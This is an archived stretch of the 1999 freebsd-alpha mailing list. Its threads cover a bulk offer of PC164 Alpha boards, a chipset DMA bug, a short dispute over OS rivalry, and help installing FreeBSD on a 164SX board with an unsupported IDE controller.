(envelope-from cc@137.org) Received: from friley-185-205.res.iastate.edu (friley-185-205.res.iastate.edu [129.186.185.205]) by friley-185-206.res.iastate.edu (Postfix) with ESMTP id 3CE3A9F; Wed, 14 Apr 1999 19:03:31 -0600 (CST) Received: from friley-185-205.res.iastate.edu (localhost [127.0.0.1]) by friley-185-205.res.iastate.edu (Postfix) with ESMTP id E8E72122; Wed, 14 Apr 1999 20:03:30 -0500 (CDT) X-Mailer: exmh version 2.0.2 2/24/98 To: tls@rek.tjls.com Cc: Jason Thorpe , freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-reply-to: Your message of "Wed, 14 Apr 1999 19:05:42 EDT." <19990414190542.A1460@rek.tjls.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Apr 1999 20:03:30 -0500 From: Chris Csanady Message-Id: <19990415010330.E8E72122@friley-185-205.res.iastate.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >On Wed, Apr 14, 1999 at 02:59:19PM -0700, Jason Thorpe wrote: >> On Wed, 14 Apr 1999 14:26:25 -0400 >> "Koscielny, Wally" wrote: >> >> > Since the special power supply is 100.00 I rather just spend the extra mo ney >> > and get a better board and a faster chip. >> >> ...except the PC164 has more memory bandwidth if you fill the SIMM >> slots than the PC164LX. To me, the PC164 is a "better board" for that >> reason :-) > >Not quite so notoriously buggy, either -- though that shouldn't be an issue >with a late-production 164LX board. Actually, even on the later revision boards I think the PCI is broken with the LX. I believe it was fixed on the miatas, but even the rev c alphapc's are still broke. Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 18:24:14 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (Postfix) with ESMTP id 5CEB614F3A for ; Wed, 14 Apr 1999 18:24:08 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id SAA16872; Wed, 14 Apr 1999 18:21:37 -0700 (PDT) Message-Id: <199904150121.SAA16872@lestat.nas.nasa.gov> To: Chris Csanady Cc: tls@rek.tjls.com, freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) Reply-To: Jason Thorpe From: Jason Thorpe Date: Wed, 14 Apr 1999 18:21:36 -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 14 Apr 1999 20:03:30 -0500 Chris Csanady wrote: > Actually, even on the later revision boards I think the PCI is broken with > the LX. I believe it was fixed on the miatas, but even the rev c alphapc's > are still broke. According to my Pyxis manual, the AlphaPC 164LX contains the recommended workaround for the DMA prefetch bug. -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 18:28:28 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id 806FD14BEF for ; Wed, 14 Apr 1999 18:28:24 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.8.5) with ESMTP id VAA58406; Wed, 14 Apr 1999 21:22:22 -0400 (EDT) Date: Wed, 14 Apr 1999 21:22:21 -0400 (EDT) From: Chuck Robey To: Jason Thorpe Cc: Chris Csanady , tls@rek.tjls.com, freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-Reply-To: <199904150121.SAA16872@lestat.nas.nasa.gov> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 14 Apr 1999, Jason Thorpe wrote: > On Wed, 14 Apr 1999 20:03:30 -0500 > Chris Csanady wrote: > > > Actually, even on the later revision boards I think the PCI is broken with > > the LX. I believe it was fixed on the miatas, but even the rev c alphapc's > > are still broke. > > According to my Pyxis manual, the AlphaPC 164LX contains the recommended > workaround for the DMA prefetch bug. Does the PC164 have this bug? Is there a hardware or saftware workaround, or does it cripple those boards for PCI? > > -- Jason R. Thorpe > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run picnic (FreeBSD-current) (301) 220-2114 | and jaunt (Solaris7). ----------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 18:34:16 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from friley-185-206.res.iastate.edu (friley-185-206.res.iastate.edu [129.186.185.206]) by hub.freebsd.org (Postfix) with ESMTP id 23A7814FD2 for ; Wed, 14 Apr 1999 18:34:14 -0700 (PDT) (envelope-from cc@137.org) Received: from friley-185-205.res.iastate.edu (friley-185-205.res.iastate.edu [129.186.185.205]) by friley-185-206.res.iastate.edu (Postfix) with ESMTP id 45F6F9F; Wed, 14 Apr 1999 19:31:52 -0600 (CST) Received: from friley-185-205.res.iastate.edu (localhost [127.0.0.1]) by friley-185-205.res.iastate.edu (Postfix) with ESMTP id 29289122; Wed, 14 Apr 1999 20:31:52 -0500 (CDT) X-Mailer: exmh version 2.0.2 2/24/98 To: Jason Thorpe Cc: Chris Csanady , tls@rek.tjls.com, freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-reply-to: Your message of "Wed, 14 Apr 1999 18:21:36 PDT." <199904150121.SAA16872@lestat.nas.nasa.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Apr 1999 20:31:52 -0500 From: Chris Csanady Message-Id: <19990415013152.29289122@friley-185-205.res.iastate.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >On Wed, 14 Apr 1999 20:03:30 -0500 > Chris Csanady wrote: > > > Actually, even on the later revision boards I think the PCI is broken with > > the LX. I believe it was fixed on the miatas, but even the rev c alphapc's > > are still broke. > >According to my Pyxis manual, the AlphaPC 164LX contains the recommended >workaround for the DMA prefetch bug. Is there a newer version of the board? When I enabled the proper bits, the machine became unstable.. Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 18:39: 3 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id C8DFF14BEF; Wed, 14 Apr 1999 18:38:57 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id LAA24495; Thu, 15 Apr 1999 11:06:35 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id LAA25948; Thu, 15 Apr 1999 11:06:34 +0930 (CST) Message-ID: <19990415110634.L23745@lemis.com> Date: Thu, 15 Apr 1999 11:06:34 +0930 From: Greg Lehey To: Chuck Robey , "Jonathan M. Bresler" Cc: wilko@yedi.iaf.nl, freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) References: <19990414131535.D8C261570E@hub.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: ; from Chuck Robey on Wed, Apr 14, 1999 at 09:13:11AM -0400 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wednesday, 14 April 1999 at 9:13:11 -0400, Chuck Robey wrote: > On Wed, 14 Apr 1999, Jonathan M. Bresler wrote: > >> >> Wilko, >> can i still get in on this purchase? >> >> i would like to get 2 boards with cpus and 2 powwe supplies. > > I wrote to Thor Lancelot Simon , who was the guy who > had the boards, on Tuesday. No reply yet. I wanted just one of the > same deal. I got a reply from Jason Thorpe telling me the error of my ways. He tells me that this was a *NetBSD* offer, and that Thor would not sell a board to a FreeBSD user if they asked him for it. I sincerely regret my indiscretion and apologize to all who may have been offended by it. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 18:46:45 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from toetag.com (toetag.com [206.169.92.2]) by hub.freebsd.org (Postfix) with ESMTP id 5237615195 for ; Wed, 14 Apr 1999 18:46:43 -0700 (PDT) (envelope-from tom@toetag.com) Received: (from tom@localhost) by toetag.com (8.9.3/8.9.0) id SAA00121 for freebsd-alpha@FreeBSD.ORG; Wed, 14 Apr 1999 18:44:22 -0700 (PDT) Date: Wed, 14 Apr 1999 18:44:22 -0700 (PDT) From: tom Message-Id: <199904150144.SAA00121@toetag.com> To: freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Damn freebsd users, can't take them anywhere :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 18:50:17 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (Postfix) with ESMTP id 4D74514F69 for ; Wed, 14 Apr 1999 18:50:14 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id SAA17013; Wed, 14 Apr 1999 18:47:41 -0700 (PDT) Message-Id: <199904150147.SAA17013@lestat.nas.nasa.gov> To: Chris Csanady Cc: tls@rek.tjls.com, freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) Reply-To: Jason Thorpe From: Jason Thorpe Date: Wed, 14 Apr 1999 18:47:41 -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 14 Apr 1999 20:31:52 -0500 Chris Csanady wrote: > >According to my Pyxis manual, the AlphaPC 164LX contains the recommended > >workaround for the DMA prefetch bug. > > Is there a newer version of the board? When I enabled the proper bits, the > machine became unstable.. Hm... maybe it was the PC164SX that has the fix... I'll look in my Pyxis manual later (must catch the train soon). -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 18:51: 8 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (Postfix) with ESMTP id D8B1914F69; Wed, 14 Apr 1999 18:51:06 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id SAA17035; Wed, 14 Apr 1999 18:48:32 -0700 (PDT) Message-Id: <199904150148.SAA17035@lestat.nas.nasa.gov> To: Greg Lehey Cc: Chuck Robey , "Jonathan M. Bresler" , wilko@yedi.iaf.nl, freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) Reply-To: Jason Thorpe From: Jason Thorpe Date: Wed, 14 Apr 1999 18:48:31 -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 15 Apr 1999 11:06:34 +0930 Greg Lehey wrote: > I got a reply from Jason Thorpe telling me the error of my ways. He > tells me that this was a *NetBSD* offer, and that Thor would not sell > a board to a FreeBSD user if they asked him for it. I sincerely > regret my indiscretion and apologize to all who may have been offended > by it. No, I didn't say that... -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 18:51:11 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 4803B15128; Wed, 14 Apr 1999 18:51:08 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from localhost (mjacob@localhost) by feral.com (8.8.7/8.8.7) with ESMTP id SAA02230; Wed, 14 Apr 1999 18:47:36 -0700 Date: Wed, 14 Apr 1999 18:47:36 -0700 (PWT) From: Matthew Jacob X-Sender: mjacob@feral-gw Reply-To: mjacob@feral.com To: Greg Lehey Cc: Chuck Robey , "Jonathan M. Bresler" , wilko@yedi.iaf.nl, freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-Reply-To: <19990415110634.L23745@lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I got a reply from Jason Thorpe telling me the error of my ways. He > tells me that this was a *NetBSD* offer, and that Thor would not sell > a board to a FreeBSD user if they asked him for it. I sincerely > regret my indiscretion and apologize to all who may have been offended > by it. This is really very silly- even if accurate and true that Thor is not interesting in selling to non-NetBSD users/devlopers. Any assistance and work for both projects ultimately aids both projects. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 18:54:34 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (Postfix) with ESMTP id 3807C14F69 for ; Wed, 14 Apr 1999 18:54:33 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id SAA16986; Wed, 14 Apr 1999 18:46:48 -0700 (PDT) Message-Id: <199904150146.SAA16986@lestat.nas.nasa.gov> To: Chuck Robey Cc: Chris Csanady , tls@rek.tjls.com, freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) Reply-To: Jason Thorpe From: Jason Thorpe Date: Wed, 14 Apr 1999 18:46:47 -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 14 Apr 1999 21:22:21 -0400 (EDT) Chuck Robey wrote: > > According to my Pyxis manual, the AlphaPC 164LX contains the recommended > > workaround for the DMA prefetch bug. > > Does the PC164 have this bug? Is there a hardware or saftware > workaround, or does it cripple those boards for PCI? No, the PC164 doesn't have a Pyxis; it has an ALCOR2 (21172), IIRC. -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 19:19:10 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from noop.colo.erols.net (noop.colo.erols.net [207.96.1.150]) by hub.freebsd.org (Postfix) with ESMTP id 5088614C4F for ; Wed, 14 Apr 1999 19:19:08 -0700 (PDT) (envelope-from gjp@noop.colo.erols.net) Received: from localhost ([127.0.0.1] helo=noop.colo.erols.net) by noop.colo.erols.net with esmtp (Exim 2.12 #1) id 10Xbi5-0009kw-00 for freebsd-alpha@freebsd.org; Wed, 14 Apr 1999 22:16:57 -0400 To: freebsd-alpha@freebsd.org From: "Gary Palmer" Subject: Ignore previous problem w/buildworld Date: Wed, 14 Apr 1999 22:16:57 -0400 Message-ID: <37505.924142617@noop.colo.erols.net> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ignore the previous problem I posted where buildworld was seeing coredumps. Seems that I had a bad kernel build. A new kernel has fixed the problem. Now running on an egcs world & kernel without noticable problems. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 20:54:38 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail2.panix.com (mail2.panix.com [166.84.0.213]) by hub.freebsd.org (Postfix) with ESMTP id 79518150EB for ; Wed, 14 Apr 1999 20:54:36 -0700 (PDT) (envelope-from tls@panix.com) Received: from panix7.panix.com (root@panix7.nyc.access.net [166.84.0.232]) by mail2.panix.com (8.8.8/8.8.8/PanixM1.3) with ESMTP id XAA01875; Wed, 14 Apr 1999 23:52:13 -0400 (EDT) Received: (from tls@localhost) by panix7.panix.com (8.8.8/8.7.1/PanixN1.0) id XAA00337; Wed, 14 Apr 1999 23:54:42 -0400 (EDT) Date: Wed, 14 Apr 1999 23:54:42 -0400 From: Thor Lancelot Simon To: Jason Thorpe Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) Message-ID: <19990414235442.A29721@rek.tjls.com> Reply-To: tls@rek.tjls.com References: <199904150148.SAA17035@lestat.nas.nasa.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <199904150148.SAA17035@lestat.nas.nasa.gov>; from Jason Thorpe on Wed, Apr 14, 1999 at 06:48:31PM -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Apr 14, 1999 at 06:48:31PM -0700, Jason Thorpe wrote: > On Thu, 15 Apr 1999 11:06:34 +0930 > Greg Lehey wrote: > > > I got a reply from Jason Thorpe telling me the error of my ways. He > > tells me that this was a *NetBSD* offer, and that Thor would not sell > > a board to a FreeBSD user if they asked him for it. I sincerely > > regret my indiscretion and apologize to all who may have been offended > > by it. > > No, I didn't say that... > I have no trouble believing that Jason didn't say that -- he's not an idiot, and he's not a liar, and that's not what I said to him, so I have no problem believing that it's not what he said to you. Considering the bizarre and suspicious email I've gotten from all kinds of people -- all FreeBSD/alpha types AFAICT -- seemingly angry with me because I didn't *personally* respond to them in under a day while I was being swamped with orders I didn't know if I could handle or not from people on a mailing-list I didn't send the original email to (among other reasons, because I didn't know if I could get enough boards), I have no trouble believing that whatever Jason actually said is being misrepresented. The situation is as I said in my email responding to Jordan -- which I sent a copy of to this list! -- I am trying to find out how many boards I can get, and at exactly what price, and I will fill orders until I am out of boards. Most of the NetBSD developers who have asked for boards are my personal friends and I'm going to make sure that (within reason) I fill their orders. They also, coincidentally, ordered *first*, since they actually read the mailing list I sent the original email to, as opposed to the one it was forwarded to by someone else. I'll gladly fill other orders after I've done that. *Right now* I don't anticipate running out of boards, but I really don't know and I haven't had time to finish negotiating with the vendor because I'm getting barraged with email, much of it demanding an immediate response. When the boards are shipped, whatever (very small, I expect) amount of money is left after I take out to cover my adminstrative expenses will be donated to The NetBSD Foundation. I've intended to do that all along. If you have a problem with _that_, all I can say to you is "who's the OS bigot now?" Okay? Will you all stop spreading these preposterous rumors already? Like I'm doing all this to "get" somebody. Really. Sure. Right. Like I have time for that kind of nonsense. If you had any idea how much of my time (and money, I might add -- I have to pay for the boards in *cash*) this is taking up, I think you'd quickly discard that idea. Man. You try to do someone(s) a favor, and... Thor To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 21:17:22 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 2D58A15016 for ; Wed, 14 Apr 1999 21:17:19 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id VAA13182; Wed, 14 Apr 1999 21:15:15 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: tls@rek.tjls.com Cc: Jason Thorpe , freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-reply-to: Your message of "Wed, 14 Apr 1999 23:54:42 EDT." <19990414235442.A29721@rek.tjls.com> Date: Wed, 14 Apr 1999 21:15:15 -0700 Message-ID: <13180.924149715@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm sorry this turned into that kind of experience for you and I can certainly say that, at least speaking for myself, your willingness to deal with this at all is much appreciated. By all means, take care of your priority customers first - it's no more or less than I would do if I were in your position - and if there are any left over afterwards then the rest of us can bloody well stand in line for them. I'm personally sick of OS bigotry after over 6 years of dealing with it and am now doing my best to promote all the FREENIX OSes, up to and including Linux where such is appropriate, and you can ask Herb or the Debian people if you want a second opinion on the veracity of that statement. OS wars just give me heartburn and I already have enough of that from eating spicy food as it is. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 4:20: 8 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from post.bgnett.no (post.bgnett.no [194.54.96.133]) by hub.freebsd.org (Postfix) with ESMTP id 4AF32158E2 for ; Thu, 15 Apr 1999 04:19:24 -0700 (PDT) (envelope-from erik@habatech.no) Received: from freebsd.habatech.no ([62.92.133.2]) by post.bgnett.no (8.8.8/8.8.8) with ESMTP id NAA05005 for ; Thu, 15 Apr 1999 13:16:47 +0200 (CEST) (envelope-from erik@habatech.no) From: erik@habatech.no Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Thu, 15 Apr 1999 13:22:16 +0200 (CEST) To: freebsd-alpha@freebsd.org Subject: Installing FreeBSD on 164SX board Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I am trying to install FreeBSD on a computer based on a 164SX board, with a 533MHz 21164PC CPU. I am upgrading this computer from Windows NT, where everything worked all right, so I don't suspect my problems are related to defects in the hardware. The kernel on the boot disk does not detect the IDE controller on the motherboard, which is a Cypress 82C693 multifunction chip. This means that I cannot install FreeBSD. My other option is to move an Adaptec 2940 U2W controller to the Alpha box, but I have doubts as to whether the SRM console can boot from this or not. Can anyone help me with this problem? (Updated boot disk, maybe?) ---------------------------------- E-Mail: erik@habatech.no Date: 15-Apr-99 Time: 13:11:52 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 5:23:27 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from soho.london.virgin.NET (soho.london.virgin.net [194.168.38.12]) by hub.freebsd.org (Postfix) with ESMTP id 2E2F515771 for ; Thu, 15 Apr 1999 05:23:16 -0700 (PDT) (envelope-from scot@london.virgin.net) Received: from sulu.london.virgin.net (sulu.london.virgin.net [194.168.38.248]) by soho.london.virgin.NET (8.9.3/8.9.3) with ESMTP id NAA02063; Thu, 15 Apr 1999 13:20:53 +0100 (BST) Received: from localhost (scot@localhost) by sulu.london.virgin.net (8.9.3/8.9.3) with ESMTP id NAA16084; Thu, 15 Apr 1999 13:20:45 +0100 (BST) (envelope-from scot@london.virgin.net) Date: Thu, 15 Apr 1999 13:20:45 +0100 (BST) From: Scot Elliott To: erik@habatech.no Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD on 164SX board In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi. Yes - that is a problem. SRM doesn't work with the Adaptec cards - I think you'll have to use a Symbiosis or other board that's supported by both the OS and the firmware... Scot. On Thu, 15 Apr 1999 erik@habatech.no wrote: > I am trying to install FreeBSD on a computer based on a > 164SX board, with a 533MHz 21164PC CPU. > > I am upgrading this computer from Windows NT, where everything > worked all right, so I don't suspect my problems are related to defects in the > hardware. > > The kernel on the boot disk does not detect the IDE controller on the > motherboard, which is a Cypress 82C693 multifunction chip. > > This means that I cannot install FreeBSD. > > My other option is to move an Adaptec 2940 U2W controller to the Alpha box, > but I have doubts as to whether the SRM console can boot from this or not. > > Can anyone help me with this problem? (Updated boot disk, maybe?) > > ---------------------------------- > E-Mail: erik@habatech.no > Date: 15-Apr-99 > Time: 13:11:52 > > This message was sent by XFMail > ---------------------------------- > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 5:37:33 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from post.bgnett.no (post.bgnett.no [194.54.96.133]) by hub.freebsd.org (Postfix) with ESMTP id 1B4B714F01 for ; Thu, 15 Apr 1999 05:37:23 -0700 (PDT) (envelope-from erik@habatech.no) Received: from freebsd.habatech.no ([62.92.133.2]) by post.bgnett.no (8.8.8/8.8.8) with ESMTP id OAA05538; Thu, 15 Apr 1999 14:33:45 +0200 (CEST) (envelope-from erik@habatech.no) From: erik@habatech.no Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Thu, 15 Apr 1999 14:39:09 +0200 (CEST) To: Scot Elliott Subject: Re: Installing FreeBSD on 164SX board Cc: freebsd-alpha@FreeBSD.ORG Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 15-Apr-99 Scot Elliott wrote: > Hi. > > Yes - that is a problem. SRM doesn't work with the Adaptec cards - I > think you'll have to use a Symbiosis or other board that's supported by > both the OS and the firmware... > Hmmm... Does this mean that the Cypress controller is not supported by FreeBSD-current? According to the SRM Console manual, the only SCSI adapters that are supported are the NCR810 and QLogic ISP1020. Neither of these are particularly easy to get hold of in Norway. :( Are any PCI or ISA IDE controllers supported at all by FreeBSD-Alpha? If so, I could probably boot off one of these. ---------------------------------- E-Mail: erik@habatech.no Date: 15-Apr-99 Time: 14:34:11 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 5:46: 3 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from soho.london.virgin.NET (soho.london.virgin.net [194.168.38.12]) by hub.freebsd.org (Postfix) with ESMTP id F2CA514F01 for ; Thu, 15 Apr 1999 05:45:54 -0700 (PDT) (envelope-from scot@london.virgin.net) Received: from sulu.london.virgin.net (sulu.london.virgin.net [194.168.38.248]) by soho.london.virgin.NET (8.9.3/8.9.3) with ESMTP id NAA02975; Thu, 15 Apr 1999 13:43:32 +0100 (BST) Received: from localhost (scot@localhost) by sulu.london.virgin.net (8.9.3/8.9.3) with ESMTP id NAA16094; Thu, 15 Apr 1999 13:43:30 +0100 (BST) (envelope-from scot@london.virgin.net) Date: Thu, 15 Apr 1999 13:43:30 +0100 (BST) From: Scot Elliott To: erik@habatech.no Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD on 164SX board In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Yes - my mistake - QLogic is what I meant rather than Symbiosis - sorry. I haven't yet installed FreeBSD on my Alpha, but I suspect that if I did, then I'd try to arrange a boot from a small IDE drive, but use the Adaptec card once the kernel was loaded. Scot. On Thu, 15 Apr 1999 erik@habatech.no wrote: > > On 15-Apr-99 Scot Elliott wrote: > > Hi. > > > > Yes - that is a problem. SRM doesn't work with the Adaptec cards - I > > think you'll have to use a Symbiosis or other board that's supported by > > both the OS and the firmware... > > > Hmmm... Does this mean that the Cypress controller is not supported by > FreeBSD-current? > > According to the SRM Console manual, the only SCSI adapters that are > supported are the NCR810 and QLogic ISP1020. Neither of these are particularly > easy to get hold of in Norway. :( > > Are any PCI or ISA IDE controllers supported at all by FreeBSD-Alpha? > If so, I could probably boot off one of these. > > > ---------------------------------- > E-Mail: erik@habatech.no > Date: 15-Apr-99 > Time: 14:34:11 > > This message was sent by XFMail > ---------------------------------- > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 5:52:25 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from post.bgnett.no (post.bgnett.no [194.54.96.133]) by hub.freebsd.org (Postfix) with ESMTP id B0CE914F01 